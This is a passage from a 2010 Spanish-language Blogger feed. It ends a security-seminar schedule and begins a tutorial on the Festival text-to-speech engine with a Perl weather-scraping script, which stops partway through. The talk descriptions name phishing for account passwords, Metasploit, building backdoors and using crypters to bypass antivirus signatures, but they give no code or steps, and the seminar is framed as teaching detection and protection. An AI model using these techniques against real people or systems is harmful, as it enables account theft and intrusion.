id="SPELLING_ERROR_19"&gt;delinquiendo&lt;/span&gt; sin dejar rastros y sin posibilidad de ser atrapado.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;10:00&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;hs&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span style=";font-family:&amp;quot;;font-size:7pt;"  &gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;Phishing&lt;/span&gt; - Robo y utilización de información&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;(Expositor: Sergio Lobera)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;Se demostrará cómo una persona, puede por medio de ingeniería social, recolectar datos vitales para la suplantación de identidad, robo de cuentas y utilización de las mismas.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;Se enseñarán formas&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;detección de los mismos, protección y posterior denuncia (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;blacklist&lt;/span&gt;) de sitios y dominios &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;phishers&lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;Por último se verá un ataque por medio de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;phishing&lt;/span&gt; con el que se obtienen múltiples contraseñas de cuentas de todo tipo (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;Rapidshare&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;Facebook&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;Paypal&lt;/span&gt;, etc).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;span style=";font-family:&amp;quot;;font-size:130%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;span style=";font-family:&amp;quot;;font-size:130%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;12:00&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;hs&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;. &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;INTERMEDIO&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;13:30&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;hs&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;Peligro en Internet - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;Metasploi&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;Framework&lt;/span&gt; y el uso de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;Backdoor&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;(Expositor: Juan Francisco &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;Bosco&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt; Se mostrará como un atacante, explota fallas de seguridad usando la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;internet&lt;/span&gt; como medio para acceder a computadoras personales, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;comprometiéndolas&lt;/span&gt; en su totalidad, así como los datos que se encuentran en la misma, para ellos se valdrá de una herramienta libre &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;Metasploit&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;Framework&lt;/span&gt; y &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;bug&lt;/span&gt; de los sistemas operativos. También se mostrara como crear &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;backdoor&lt;/span&gt; y el uso de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;Cripter&lt;/span&gt; para &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;bypasear&lt;/span&gt; firmas de los &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;Avs&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;comprometiendo&lt;/span&gt; en forma invisible a sus víctimas.&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="font-weight: bold;"&gt;15:00hs. El Uso de PHP por los Hackers&lt;/span&gt; (Expositor: Alejandro Zapiola)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En esta charla se hará hincapié en la forma que los ciberterroristas usan el PHP para la creación de herramientas, robo de cookies, fallas XSS, y errores programación en PHP, explotándolas para luego apoderarse de la identidad de su víctima, luego veremos cómo solventar dichas fallas.&lt;br /&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt;&lt;span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"  style="font-family:Calibri,sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt;&lt;span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"  style="font-family:Calibri,sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;16:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style="font-family:Calibri,sans-serif;"&gt;&lt;span&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;00&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;hs&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;     &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;Sistema de detección de Intruso &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;IDS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt; (Expositor: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;Sebastián&lt;/span&gt; del Prado)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin: 0cm 0cm 0.0001pt; text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;Se disertará sobre la correcta instalación, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;configuración&lt;/span&gt;, y &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;planificación&lt;/span&gt; de reglas de seguridad, usando un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;IDS&lt;/span&gt; libre &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;Snort&lt;/span&gt;, también se verá el manejo de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;sniffer&lt;/span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_63"&gt;Oink&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_64"&gt;Master&lt;/span&gt; (actualizado de reglas). Instalación de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_65"&gt;IPCOP&lt;/span&gt; (distribución Linux de seguridad que tiene &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_66"&gt;SNort&lt;/span&gt; como motor principal) en una interfase amena, manejo de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_67"&gt;IPTABLES&lt;/span&gt;, manejos de Ambientes (Verde, Azul, Naranja “topologías de instalación”), Se mostrará &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_68"&gt;Videos&lt;/span&gt; con ejemplos de ataques reales y como se visualizan, etc.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0.0001pt; text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0.0001pt; text-align: justify; color: rgb(0, 0, 153);"&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"   lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;18:00&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_69"&gt;hs&lt;/span&gt;. &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;CIERRE&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;. Entrega de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_70"&gt;Certificados&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0.0001pt; text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0.0001pt; text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0.0001pt; text-align: justify; color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:&amp;quot;;"  lang="ES-AR"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,serif;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-3486712818383958443?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/3486712818383958443/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/05/1er-seminario-de-seguridad-informatica.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3486712818383958443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3486712818383958443'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/05/1er-seminario-de-seguridad-informatica.html' title='1er Seminario de Seguridad Informatica - Formosa 2010'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DI2yEVgm8Qk/S-DzhiBqd9I/AAAAAAAAAMw/6iePVe9qqzw/s72-c/formosa.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-3173454589786680801</id><published>2010-04-26T18:22:00.000-07:00</published><updated>2010-05-04T10:17:41.953-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='festival'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Jugando con Festival</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S9ZzIzVVAwI/AAAAAAAAAMo/0nPsGI6H7Rs/s1600/20009-Clipart-Illustration-Of-A-Metallic-Humanoid-Robot-Bending-Over-Slightly-To-Speak-To-A-Short-Webcam-Spybot-On-A-White-Background.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 320px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S9ZzIzVVAwI/AAAAAAAAAMo/0nPsGI6H7Rs/s320/20009-Clipart-Illustration-Of-A-Metallic-Humanoid-Robot-Bending-Over-Slightly-To-Speak-To-A-Short-Webcam-Spybot-On-A-White-Background.jpg" alt="" id="BLOGGER_PHOTO_ID_5464681792916488962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Buenas hace un tiempo habia visto un post sobre este tema en el blog de &lt;a href="http://blog.zerial.org/tips/jugando-con-festival-tts/"&gt;Zerial.&lt;/a&gt;&lt;br /&gt;La cuestion es que siempre quise jugar con esto pero por A o por B nunca lo hice, pero en fin ayer me quede hasta tarde  entretenido con festival y me codee algo en perl para traer datos desde la web.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Pero que es Festival?&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Festival es un software text-to-speech (TTS) o sintetizador de vóz que nos permite lograr que nuestra máquina nos hable o, más bien, nos lea algún texto. Mas informacion &lt;a href="http://es.wikipedia.org/wiki/Festival_%28TTS%29"&gt;aqui&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: right;"&gt;&lt;span style="font-style: italic;"&gt;Estracto Blog de Zerial&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;br /&gt;Para instalar este paquete no logueamos como r00t en la shell y lo instalamos con aptitude&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;$su&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;#aptitude install festival&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;#aptitude install festlex-cmu festlex-poslex festvox-kallpc16k libestools1.2 festvox-ellpc11k&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;Para probar que funciona correctamente, nos logueamos como usuario normal y colocamos.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;$ festival --language spanish&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Festival Speech Synthesis System 1.96:beta July 2004&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Copyright (C) University of Edinburgh, 1996-2004. All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;For details type `(festival_warranty)'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;festival&gt; (SayText "holaa como estas")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si oyen el "Hola Como estas", es una voz horrible robotica pero bueno es lo que hay xD. Tambien se le puede pasar un archivo de texto para que lo lea. Tengo un amigo que uso uno de estos programas en windows y se leyo todo el libro de &lt;a href="http://es.wikipedia.org/wiki/Kevin_Mitnick"&gt;Kevin Mitnick&lt;/a&gt; "El arte de la intrusion" xD. Para leer un archivo se pasa este parametro.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;$festival --language spanish --tts archivo.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Acoplando con Perl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Me escribi un simple script en perl donde trae el pronostico de Corrientes Capital, y empieza a recolectar datos que quiero con expresiones regulares, tambien nos dice la hora y algunas cosas mas. Esta maso por que lo hice a la madrugada y tenia pensado seguir agregandole mas cosas pero ya se hacia muy tarde, en fin se les dejo el script.&lt;br /&gt;Esta muy  entretenido podemos hacer muchas cosas como por ejemplo que nos lea noticias importantes, horoscopos, estado del transito etc. Yo lo coloque que cuando arranque el sistema me cuente como esta el pronostico ( ya me esta por cansar igual ja ).&lt;br /&gt;Ah la pagina donde saca el pronostico es &lt;a href="http://www.weather.com/weather/today/Corrientes+Argentina+ARCS0025."&gt;esta&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;who-speak.pl&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use LWP::Simple;&lt;br /&gt;&lt;br /&gt;use utf8 ;&lt;br /&gt;&lt;br /&gt;no utf8 ;&lt;br /&gt;&lt;br /&gt;$pag="http://www.weather.com/weather/today/Corrientes+Argentina+ARCS0025";&lt;br /&gt;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new(agent =&amp;gt; 'Mozilla/5.0 (X11; U; Linux x86_64; es; rv:1.9.1.8) Gecko/20100218 Firefox/3.0.3 (like Firefox/3.5.8)');&lt;br /&gt;&lt;br /&gt;  $ua-&amp;gt;default_header('Accept-Language' =&amp;gt; "es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3");#acceptar lenguage español&lt;br /&gt;&lt;br /&gt;        $ua-&amp;gt;timeout(7);&lt;br /&gt;&lt;br /&gt;        #$ua-&amp;gt;env_proxy;&lt;br /&gt;&lt;br /&gt;        $response = $ua-&amp;gt;get($pag);&lt;br /&gt;&lt;br /&gt;  $pedido= $response-&amp;gt;content;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#$pedido =~m/&amp;lt;p align=center&amp;gt;&amp;lt;b&amp;gt;HOY(.*?)&amp;lt;\/b&amp;gt;&amp;lt;\/p&amp;gt;/s;&lt;br /&gt;&lt;br /&gt;#$dia=$1;&lt;br /&gt;&lt;br /&gt;#--------------------------Tomo fecha actualizacion de datos--------------------------------------------s#&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;$pedido =~m/&amp;lt;p class="ccWeatherTimeStamp"&amp;gt;Updated:\s*(.*?)Local Time&amp;lt;\/p&amp;gt;/s;#tomo la actulizacion de los datos&lt;br /&gt;&lt;br /&gt;$update=$1;&lt;br /&gt;&lt;br /&gt;$update=~s/\n//gi;$update=~s/\t//gi;#limpio los \n y los \t&lt;br /&gt;&lt;br /&gt;#----------Cambio los meses a Español------------&lt;br /&gt;&lt;br /&gt;$update=~s/Jan/Enero/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/Feb/Febreol/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/Mar/Marzol/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/Apr/Abril/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/May/Mayo/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/June/Junio/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/July/Julio/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/Aug/Agosto/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/Sept/Septiembre/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/Oct/Octubre/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/Nov/Noviembre/gi;&lt;br /&gt;&lt;br /&gt;$update=~s/Dec/Diciembre/gi;&lt;br /&gt;&lt;br /&gt;#-----------------Fin CAmbio Meses---------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#--------tomo la temperatura-----------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$pedido =~m/&amp;lt;div class="ccTemp"&amp;gt;(\d+)° F&amp;lt;\/div&amp;gt;/s;&lt;br /&gt;&lt;br /&gt;$temp=$1;&lt;br /&gt;&lt;br /&gt;$centigrados=($temp - 32) * 5/9;#paso de F a C&lt;br /&gt;&lt;br /&gt;$centigrados = sprintf("%.1f", $centigrados);#truncoo el numero&lt;br /&gt;&lt;br /&gt;#-------------tomo el estado---------------&lt;br /&gt;&lt;br /&gt;$pedido =~m/&amp;lt;div class="ccdata"&amp;gt;&amp;lt;p&amp;gt;(.*?)&amp;lt;\/p&amp;gt;&amp;lt;\/div&amp;gt;/s;&lt;br /&gt;&lt;br 